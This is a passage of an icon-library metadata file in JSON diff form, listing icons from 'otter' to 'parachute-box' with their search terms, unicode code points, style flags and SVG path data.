130.64 105.4 34 221.8 18.34c138.8-18.6 255.6 75.8 278 201.1 21.3 118.8-44 230-151.6 274-9.3 3.8-14.4 1.7-18-7.7q-26.7-69.45-53.4-139c-3.1-8.1-1-13.2 7-16.8 24.2-11 39.3-29.4 43.3-55.8a71.47 71.47 0 0 0-64.5-82.2c-39-3.4-71.8 23.7-77.5 59.7-5.2 33 11.1 63.7 41.9 77.7 9.6 4.4 11.5 8.6 7.8 18.4q-26.85 69.9-53.7 139.9c-2.6 6.9-8.3 9.3-15.5 6.5-52.6-20.3-101.4-61-130.8-119-24.9-49.2-25.2-87.7-26.8-108.7zm20.9-1.9c.4 6.6.6 14.3 1.3 22.1 6.3 71.9 49.6 143.5 131 183.1 3.2 1.5 4.4.8 5.6-2.3q22.35-58.65 45-117.3c1.3-3.3.6-4.8-2.4-6.7-31.6-19.9-47.3-48.5-45.6-86 1-21.6 9.3-40.5 23.8-56.3 30-32.7 77-39.8 115.5-17.6a91.64 91.64 0 0 1 45.2 90.4c-3.6 30.6-19.3 53.9-45.7 69.8-2.7 1.6-3.5 2.9-2.3 6q22.8 58.8 45.2 117.7c1.2 3.1 2.4 3.8 5.6 2.3 35.5-16.6 65.2-40.3 88.1-72 34.8-48.2 49.1-101.9 42.3-161-13.7-117.5-119.4-214.8-255.5-198-106.1 13-195.3 102.5-197.1 225.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M8 266.44C10.3 130.64 105.4 34 221.8 18.34c138.8-18.6 255.6 75.8 278 201.1 21.3 118.8-44 230-151.6 274-9.3 3.8-14.4 1.7-18-7.7q-26.7-69.45-53.4-139c-3.1-8.1-1-13.2 7-16.8 24.2-11 39.3-29.4 43.3-55.8a71.47 71.47 0 0 0-64.5-82.2c-39-3.4-71.8 23.7-77.5 59.7-5.2 33 11.1 63.7 41.9 77.7 9.6 4.4 11.5 8.6 7.8 18.4q-26.85 69.9-53.7 139.9c-2.6 6.9-8.3 9.3-15.5 6.5-52.6-20.3-101.4-61-130.8-119-24.9-49.2-25.2-87.7-26.8-108.7zm20.9-1.9c.4 6.6.6 14.3 1.3 22.1 6.3 71.9 49.6 143.5 131 183.1 3.2 1.5 4.4.8 5.6-2.3q22.35-58.65 45-117.3c1.3-3.3.6-4.8-2.4-6.7-31.6-19.9-47.3-48.5-45.6-86 1-21.6 9.3-40.5 23.8-56.3 30-32.7 77-39.8 115.5-17.6a91.64 91.64 0 0 1 45.2 90.4c-3.6 30.6-19.3 53.9-45.7 69.8-2.7 1.6-3.5 2.9-2.3 6q22.8 58.8 45.2 117.7c1.2 3.1 2.4 3.8 5.6 2.3 35.5-16.6 65.2-40.3 88.1-72 34.8-48.2 49.1-101.9 42.3-161-13.7-117.5-119.4-214.8-255.5-198-106.1 13-195.3 102.5-197.1 225.8z" + } + }, + "free": [ + "brands" + ] + }, + "otter": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "animal", + "badger", + "fauna", + "fur", + "mammal", + "marten" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f700", + "label": "Otter", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635616, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M608 32h-32l-13.25-13.25A63.97 63.97 0 0 0 517.49 0H497c-11.14 0-22.08 2.91-31.75 8.43L312 96h-56C149.96 96 64 181.96 64 288v1.61c0 32.75-16 62.14-39.56 84.89-18.19 17.58-28.1 43.68-23.19 71.8 6.76 38.8 42.9 65.7 82.28 65.7H192c17.67 0 32-14.33 32-32s-14.33-32-32-32H80c-8.83 0-16-7.17-16-16s7.17-16 16-16h224c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-64l149.49-80.5L448 416h80c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-28.22l-55.11-110.21L521.14 192H544c53.02 0 96-42.98 96-96V64c0-17.67-14.33-32-32-32zm-96 16c8.84 0 16 7.16 16 16s-7.16 16-16 16-16-7.16-16-16 7.16-16 16-16zm32 96h-34.96L407.2 198.84l-13.77-27.55L512 112h77.05c-6.62 18.58-24.22 32-45.05 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M608 32h-32l-13.25-13.25A63.97 63.97 0 0 0 517.49 0H497c-11.14 0-22.08 2.91-31.75 8.43L312 96h-56C149.96 96 64 181.96 64 288v1.61c0 32.75-16 62.14-39.56 84.89-18.19 17.58-28.1 43.68-23.19 71.8 6.76 38.8 42.9 65.7 82.28 65.7H192c17.67 0 32-14.33 32-32s-14.33-32-32-32H80c-8.83 0-16-7.17-16-16s7.17-16 16-16h224c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-64l149.49-80.5L448 416h80c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-28.22l-55.11-110.21L521.14 192H544c53.02 0 96-42.98 96-96V64c0-17.67-14.33-32-32-32zm-96 16c8.84 0 16 7.16 16 16s-7.16 16-16 16-16-7.16-16-16 7.16-16 16-16zm32 96h-34.96L407.2 198.84l-13.77-27.55L512 112h77.05c-6.62 18.58-24.22 32-45.05 32z" + } + }, + "free": [ + "solid" + ] + }, + "outdent": { + "changes": [ + "1", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "align", + "justify", + "paragraph", + "tab" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f03b", + "label": "Outdent", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635617, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M100.69 363.29c10 10 27.31 2.93 27.31-11.31V160c0-14.32-17.33-21.31-27.31-11.31l-96 96a16 16 0 0 0 0 22.62zM432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-128H204.83A12.82 12.82 0 0 0 192 300.83v38.34A12.82 12.82 0 0 0 204.83 352h230.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288zm0-128H204.83A12.82 12.82 0 0 0 192 172.83v38.34A12.82 12.82 0 0 0 204.83 224h230.34A12.82 12.82 0 0 0 448 211.17v-38.34A12.82 12.82 0 0 0 435.17 160zM432 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M100.69 363.29c10 10 27.31 2.93 27.31-11.31V160c0-14.32-17.33-21.31-27.31-11.31l-96 96a16 16 0 0 0 0 22.62zM432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-128H204.83A12.82 12.82 0 0 0 192 300.83v38.34A12.82 12.82 0 0 0 204.83 352h230.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288zm0-128H204.83A12.82 12.82 0 0 0 192 172.83v38.34A12.82 12.82 0 0 0 204.83 224h230.34A12.82 12.82 0 0 0 448 211.17v-38.34A12.82 12.82 0 0 0 435.17 160zM432 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "page4": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3d7", + "label": "page4 Corporation", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861010, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 504C111 504 0 393 0 256S111 8 248 8c20.9 0 41.3 2.6 60.7 7.5L42.3 392H248v112zm0-143.6V146.8L98.6 360.4H248zm96 31.6v92.7c45.7-19.2 84.5-51.7 111.4-92.7H344zm57.4-138.2l-21.2 8.4 21.2 8.3v-16.7zm-20.3 54.5c-6.7 0-8 6.3-8 12.9v7.7h16.2v-10c0-5.9-2.3-10.6-8.2-10.6zM496 256c0 37.3-8.2 72.7-23 104.4H344V27.3C433.3 64.8 496 153.1 496 256zM360.4 143.6h68.2V96h-13.9v32.6h-13.9V99h-13.9v29.6h-12.7V96h-13.9v47.6zm68.1 185.3H402v-11c0-15.4-5.6-25.2-20.9-25.2-15.4 0-20.7 10.6-20.7 25.9v25.3h68.2v-15zm0-103l-68.2 29.7V268l68.2 29.5v-16.6l-14.4-5.7v-26.5l14.4-5.9v-16.9zm-4.8-68.5h-35.6V184H402v-12.2h11c8.6 15.8 1.3 35.3-18.6 35.3-22.5 0-28.3-25.3-15.5-37.7l-11.6-10.6c-16.2 17.5-12.2 63.9 27.1 63.9 34 0 44.7-35.9 29.3-65.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 504C111 504 0 393 0 256S111 8 248 8c20.9 0 41.3 2.6 60.7 7.5L42.3 392H248v112zm0-143.6V146.8L98.6 360.4H248zm96 31.6v92.7c45.7-19.2 84.5-51.7 111.4-92.7H344zm57.4-138.2l-21.2 8.4 21.2 8.3v-16.7zm-20.3 54.5c-6.7 0-8 6.3-8 12.9v7.7h16.2v-10c0-5.9-2.3-10.6-8.2-10.6zM496 256c0 37.3-8.2 72.7-23 104.4H344V27.3C433.3 64.8 496 153.1 496 256zM360.4 143.6h68.2V96h-13.9v32.6h-13.9V99h-13.9v29.6h-12.7V96h-13.9v47.6zm68.1 185.3H402v-11c0-15.4-5.6-25.2-20.9-25.2-15.4 0-20.7 10.6-20.7 25.9v25.3h68.2v-15zm0-103l-68.2 29.7V268l68.2 29.5v-16.6l-14.4-5.7v-26.5l14.4-5.9v-16.9zm-4.8-68.5h-35.6V184H402v-12.2h11c8.6 15.8 1.3 35.3-18.6 35.3-22.5 0-28.3-25.3-15.5-37.7l-11.6-10.6c-16.2 17.5-12.2 63.9 27.1 63.9 34 0 44.7-35.9 29.3-65.3z" + } + }, + "free": [ + "brands" + ] + }, + "pagelines": { + "changes": [ + "4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "eco", + "flora", + "leaf", + "leaves", + "nature", + "plant", + "tree" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f18c", + "label": "Pagelines", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861011, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 312.7c-55.1 136.7-187.1 54-187.1 54-40.5 81.8-107.4 134.4-184.6 134.7-16.1 0-16.6-24.4 0-24.4 64.4-.3 120.5-42.7 157.2-110.1-41.1 15.9-118.6 27.9-161.6-82.2 109-44.9 159.1 11.2 178.3 45.5 9.9-24.4 17-50.9 21.6-79.7 0 0-139.7 21.9-149.5-98.1 119.1-47.9 152.6 76.7 152.6 76.7 1.6-16.7 3.3-52.6 3.3-53.4 0 0-106.3-73.7-38.1-165.2 124.6 43 61.4 162.4 61.4 162.4.5 1.6.5 23.8 0 33.4 0 0 45.2-89 136.4-57.5-4.2 134-141.9 106.4-141.9 106.4-4.4 27.4-11.2 53.4-20 77.5 0 0 83-91.8 172-20z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M384 312.7c-55.1 136.7-187.1 54-187.1 54-40.5 81.8-107.4 134.4-184.6 134.7-16.1 0-16.6-24.4 0-24.4 64.4-.3 120.5-42.7 157.2-110.1-41.1 15.9-118.6 27.9-161.6-82.2 109-44.9 159.1 11.2 178.3 45.5 9.9-24.4 17-50.9 21.6-79.7 0 0-139.7 21.9-149.5-98.1 119.1-47.9 152.6 76.7 152.6 76.7 1.6-16.7 3.3-52.6 3.3-53.4 0 0-106.3-73.7-38.1-165.2 124.6 43 61.4 162.4 61.4 162.4.5 1.6.5 23.8 0 33.4 0 0 45.2-89 136.4-57.5-4.2 134-141.9 106.4-141.9 106.4-4.4 27.4-11.2 53.4-20 77.5 0 0 83-91.8 172-20z" + } + }, + "free": [ + "brands" + ] + }, + "pager": { + "changes": [ + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "beeper", + "cellphone", + "communication" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f815", + "label": "Pager", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635618, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 64H64a64 64 0 0 0-64 64v256a64 64 0 0 0 64 64h384a64 64 0 0 0 64-64V128a64 64 0 0 0-64-64zM160 368H80a16 16 0 0 1-16-16v-16a16 16 0 0 1 16-16h80zm128-16a16 16 0 0 1-16 16h-80v-48h80a16 16 0 0 1 16 16zm160-128a32 32 0 0 1-32 32H96a32 32 0 0 1-32-32v-64a32 32 0 0 1 32-32h320a32 32 0 0 1 32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M448 64H64a64 64 0 0 0-64 64v256a64 64 0 0 0 64 64h384a64 64 0 0 0 64-64V128a64 64 0 0 0-64-64zM160 368H80a16 16 0 0 1-16-16v-16a16 16 0 0 1 16-16h80zm128-16a16 16 0 0 1-16 16h-80v-48h80a16 16 0 0 1 16 16zm160-128a32 32 0 0 1-32 32H96a32 32 0 0 1-32-32v-64a32 32 0 0 1 32-32h320a32 32 0 0 1 32 32z" + } + }, + "free": [ + "solid" + ] + }, + "paint-brush": { + "changes": [ + "4.2", + "5.0.0", + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "acrylic", + "art", + "brush", + "color", + "fill", + "paint", + "pigment", + "watercolor" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1fc", + "label": "Paint Brush", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635619, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M167.02 309.34c-40.12 2.58-76.53 17.86-97.19 72.3-2.35 6.21-8 9.98-14.59 9.98-11.11 0-45.46-27.67-55.25-34.35C0 439.62 37.93 512 128 512c75.86 0 128-43.77 128-120.19 0-3.11-.65-6.08-.97-9.13l-88.01-73.34zM457.89 0c-15.16 0-29.37 6.71-40.21 16.45C213.27 199.05 192 203.34 192 257.09c0 13.7 3.25 26.76 8.73 38.7l63.82 53.18c7.21 1.8 14.64 3.03 22.39 3.03 62.11 0 98.11-45.47 211.16-256.46 7.38-14.35 13.9-29.85 13.9-45.99C512 20.64 486 0 457.89 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M167.02 309.34c-40.12 2.58-76.53 17.86-97.19 72.3-2.35 6.21-8 9.98-14.59 9.98-11.11 0-45.46-27.67-55.25-34.35C0 439.62 37.93 512 128 512c75.86 0 128-43.77 128-120.19 0-3.11-.65-6.08-.97-9.13l-88.01-73.34zM457.89 0c-15.16 0-29.37 6.71-40.21 16.45C213.27 199.05 192 203.34 192 257.09c0 13.7 3.25 26.76 8.73 38.7l63.82 53.18c7.21 1.8 14.64 3.03 22.39 3.03 62.11 0 98.11-45.47 211.16-256.46 7.38-14.35 13.9-29.85 13.9-45.99C512 20.64 486 0 457.89 0z" + } + }, + "free": [ + "solid" + ] + }, + "paint-roller": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "acrylic", + "art", + "brush", + "color", + "fill", + "paint", + "pigment", + "watercolor" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5aa", + "label": "Paint Roller", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635619, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 128V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v96c0 17.67 14.33 32 32 32h352c17.67 0 32-14.33 32-32zm32-64v128c0 17.67-14.33 32-32 32H256c-35.35 0-64 28.65-64 64v32c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32v-32h160c53.02 0 96-42.98 96-96v-64c0-35.35-28.65-64-64-64z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M416 128V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v96c0 17.67 14.33 32 32 32h352c17.67 0 32-14.33 32-32zm32-64v128c0 17.67-14.33 32-32 32H256c-35.35 0-64 28.65-64 64v32c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32v-32h160c53.02 0 96-42.98 96-96v-64c0-35.35-28.65-64-64-64z" + } + }, + "free": [ + "solid" + ] + }, + "palette": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "acrylic", + "art", + "brush", + "color", + "fill", + "paint", + "pigment", + "watercolor" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f53f", + "label": "Palette", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635620, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M204.3 5C104.9 24.4 24.8 104.3 5.2 203.4c-37 187 131.7 326.4 258.8 306.7 41.2-6.4 61.4-54.6 42.5-91.7-23.1-45.4 9.9-98.4 60.9-98.4h79.7c35.8 0 64.8-29.6 64.9-65.3C511.5 97.1 368.1-26.9 204.3 5zM96 320c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm32-128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128-64c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 64c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M204.3 5C104.9 24.4 24.8 104.3 5.2 203.4c-37 187 131.7 326.4 258.8 306.7 41.2-6.4 61.4-54.6 42.5-91.7-23.1-45.4 9.9-98.4 60.9-98.4h79.7c35.8 0 64.8-29.6 64.9-65.3C511.5 97.1 368.1-26.9 204.3 5zM96 320c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm32-128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128-64c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 64c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "palfed": { + "changes": [ + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3d8", + "label": "Palfed", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861011, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384.9 193.9c0-47.4-55.2-44.2-95.4-29.8-1.3 39.4-2.5 80.7-3 119.8.7 2.8 2.6 6.2 15.1 6.2 36.8 0 83.4-42.8 83.3-96.2zm-194.5 72.2c.2 0 6.5-2.7 11.2-2.7 26.6 0 20.7 44.1-14.4 44.1-21.5 0-37.1-18.1-37.1-43 0-42 42.9-95.6 100.7-126.5 1-12.4 3-22 10.5-28.2 11.2-9 26.6-3.5 29.5 11.1 72.2-22.2 135.2 1 135.2 72 0 77.9-79.3 152.6-140.1 138.2-.1 39.4.9 74.4 2.7 100v.2c.2 3.4.6 12.5-5.3 19.1-9.6 10.6-33.4 10-36.4-22.3-4.1-44.4.2-206.1 1.4-242.5-21.5 15-58.5 50.3-58.5 75.9.2 2.5.4 4 .6 4.6zM8 181.1s-.1 37.4 38.4 37.4h30l22.4 217.2s0 44.3 44.7 44.3h288.9s44.7-.4 44.7-44.3l22.4-217.2h30s38.4 1.2 38.4-37.4c0 0 .1-37.4-38.4-37.4h-30.1c-7.3-25.6-30.2-74.3-119.4-74.3h-28V50.3s-2.7-18.4-21.1-18.4h-85.8s-21.1 0-21.1 18.4v19.1h-28.1s-105 4.2-120.5 74.3h-29S8 142.5 8 181.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M384.9 193.9c0-47.4-55.2-44.2-95.4-29.8-1.3 39.4-2.5 80.7-3 119.8.7 2.8 2.6 6.2 15.1 6.2 36.8 0 83.4-42.8 83.3-96.2zm-194.5 72.2c.2 0 6.5-2.7 11.2-2.7 26.6 0 20.7 44.1-14.4 44.1-21.5 0-37.1-18.1-37.1-43 0-42 42.9-95.6 100.7-126.5 1-12.4 3-22 10.5-28.2 11.2-9 26.6-3.5 29.5 11.1 72.2-22.2 135.2 1 135.2 72 0 77.9-79.3 152.6-140.1 138.2-.1 39.4.9 74.4 2.7 100v.2c.2 3.4.6 12.5-5.3 19.1-9.6 10.6-33.4 10-36.4-22.3-4.1-44.4.2-206.1 1.4-242.5-21.5 15-58.5 50.3-58.5 75.9.2 2.5.4 4 .6 4.6zM8 181.1s-.1 37.4 38.4 37.4h30l22.4 217.2s0 44.3 44.7 44.3h288.9s44.7-.4 44.7-44.3l22.4-217.2h30s38.4 1.2 38.4-37.4c0 0 .1-37.4-38.4-37.4h-30.1c-7.3-25.6-30.2-74.3-119.4-74.3h-28V50.3s-2.7-18.4-21.1-18.4h-85.8s-21.1 0-21.1 18.4v19.1h-28.1s-105 4.2-120.5 74.3h-29S8 142.5 8 181.1z" + } + }, + "free": [ + "brands" + ] + }, + "pallet": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "archive", + "box", + "inventory", + "shipping", + "warehouse" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f482", + "label": "Pallet", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635620, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M144 256h352c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H384v128l-64-32-64 32V0H144c-8.8 0-16 7.2-16 16v224c0 8.8 7.2 16 16 16zm480 128c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v64H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16h-48v-64h48zm-336 64H128v-64h160v64zm224 0H352v-64h160v64z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M144 256h352c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H384v128l-64-32-64 32V0H144c-8.8 0-16 7.2-16 16v224c0 8.8 7.2 16 16 16zm480 128c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v64H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16h-48v-64h48zm-336 64H128v-64h160v64zm224 0H352v-64h160v64z" + } + }, + "free": [ + "solid" + ] + }, + "paper-plane": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "air", + "float", + "fold", + "mail", + "paper", + "send" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f1d8", + "label": "Paper Plane", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635621, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M476 3.2L12.5 270.6c-18.1 10.4-15.8 35.6 2.2 43.2L121 358.4l287.3-253.2c5.5-4.9 13.3 2.6 8.6 8.3L176 407v80.5c0 23.6 28.5 32.9 42.5 15.8L282 426l124.6 52.2c14.2 6 30.4-2.9 33-18.2l72-432C515 7.8 493.3-6.8 476 3.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M476 3.2L12.5 270.6c-18.1 10.4-15.8 35.6 2.2 43.2L121 358.4l287.3-253.2c5.5-4.9 13.3 2.6 8.6 8.3L176 407v80.5c0 23.6 28.5 32.9 42.5 15.8L282 426l124.6 52.2c14.2 6 30.4-2.9 33-18.2l72-432C515 7.8 493.3-6.8 476 3.2z" + }, + "regular": { + "last_modified": 1628088634934, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M440 6.5L24 246.4c-34.4 19.9-31.1 70.8 5.7 85.9L144 379.6V464c0 46.4 59.2 65.5 86.6 28.6l43.8-59.1 111.9 46.2c5.9 2.4 12.1 3.6 18.3 3.6 8.2 0 16.3-2.1 23.6-6.2 12.8-7.2 21.6-20 23.9-34.5l59.4-387.2c6.1-40.1-36.9-68.8-71.5-48.9zM192 464v-64.6l36.6 15.1L192 464zm212.6-28.7l-153.8-63.5L391 169.5c10.7-15.5-9.5-33.5-23.7-21.2L155.8 332.6 48 288 464 48l-59.4 387.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M440 6.5L24 246.4c-34.4 19.9-31.1 70.8 5.7 85.9L144 379.6V464c0 46.4 59.2 65.5 86.6 28.6l43.8-59.1 111.9 46.2c5.9 2.4 12.1 3.6 18.3 3.6 8.2 0 16.3-2.1 23.6-6.2 12.8-7.2 21.6-20 23.9-34.5l59.4-387.2c6.1-40.1-36.9-68.8-71.5-48.9zM192 464v-64.6l36.6 15.1L192 464zm212.6-28.7l-153.8-63.5L391 169.5c10.7-15.5-9.5-33.5-23.7-21.2L155.8 332.6 48 288 464 48l-59.4 387.3z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "paperclip": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "attach", + "attachment", + "connect", + "link" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0c6", + "label": "Paperclip", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635621, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M43.246 466.142c-58.43-60.289-57.341-157.511 1.386-217.581L254.392 34c44.316-45.332 116.351-45.336 160.671 0 43.89 44.894 43.943 117.329 0 162.276L232.214 383.128c-29.855 30.537-78.633 30.111-107.982-.998-28.275-29.97-27.368-77.473 1.452-106.953l143.743-146.835c6.182-6.314 16.312-6.422 22.626-.241l22.861 22.379c6.315 6.182 6.422 16.312.241 22.626L171.427 319.927c-4.932 5.045-5.236 13.428-.648 18.292 4.372 4.634 11.245 4.711 15.688.165l182.849-186.851c19.613-20.062 19.613-52.725-.011-72.798-19.189-19.627-49.957-19.637-69.154 0L90.39 293.295c-34.763 35.56-35.299 93.12-1.191 128.313 34.01 35.093 88.985 35.137 123.058.286l172.06-175.999c6.177-6.319 16.307-6.433 22.626-.256l22.877 22.364c6.319 6.177 6.434 16.307.256 22.626l-172.06 175.998c-59.576 60.938-155.943 60.216-214.77-.485z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M43.246 466.142c-58.43-60.289-57.341-157.511 1.386-217.581L254.392 34c44.316-45.332 116.351-45.336 160.671 0 43.89 44.894 43.943 117.329 0 162.276L232.214 383.128c-29.855 30.537-78.633 30.111-107.982-.998-28.275-29.97-27.368-77.473 1.452-106.953l143.743-146.835c6.182-6.314 16.312-6.422 22.626-.241l22.861 22.379c6.315 6.182 6.422 16.312.241 22.626L171.427 319.927c-4.932 5.045-5.236 13.428-.648 18.292 4.372 4.634 11.245 4.711 15.688.165l182.849-186.851c19.613-20.062 19.613-52.725-.011-72.798-19.189-19.627-49.957-19.637-69.154 0L90.39 293.295c-34.763 35.56-35.299 93.12-1.191 128.313 34.01 35.093 88.985 35.137 123.058.286l172.06-175.999c6.177-6.319 16.307-6.433 22.626-.256l22.877 22.364c6.319 6.177 6.434 16.307.256 22.626l-172.06 175.998c-59.576 60.938-155.943 60.216-214.77-.485z" + } + }, + "free": [ + "solid" + ] + }, + "parachute-box": { + "changes": [ + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "aid", + "assistance", + "rescue", + "supplies" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4cd", + "label": "Parachute Box", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635622, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M511.9 175c-9.1-75.6-78.4-132.4-158.3-158.7C390 55.7 416 116.9 416 192h28.1L327.5 321.5c-2.5-.6-4.8-1.5-7.5-1.5h-48V192h112C384 76.8 315.1 0 256 0S128 76.8 128 192h112v128h-48c-2.7 0-5 .9-7.5 1.5L67.9 192H96c0-75.1 26-136.3 62.4-175.7C78.5 42.7 9.2 99.5.1 175c-1.1 9.1 6.8 17 16 17h8.7l136.7 151.9c-.7 2.6-1.6 5.2-1.6 8.1v128c0 17.7 14.3 32 32 32h128c17.7 0 32-14.3 32-32V352c0-2.9-.9-5.4-1.6-8.1L487.1 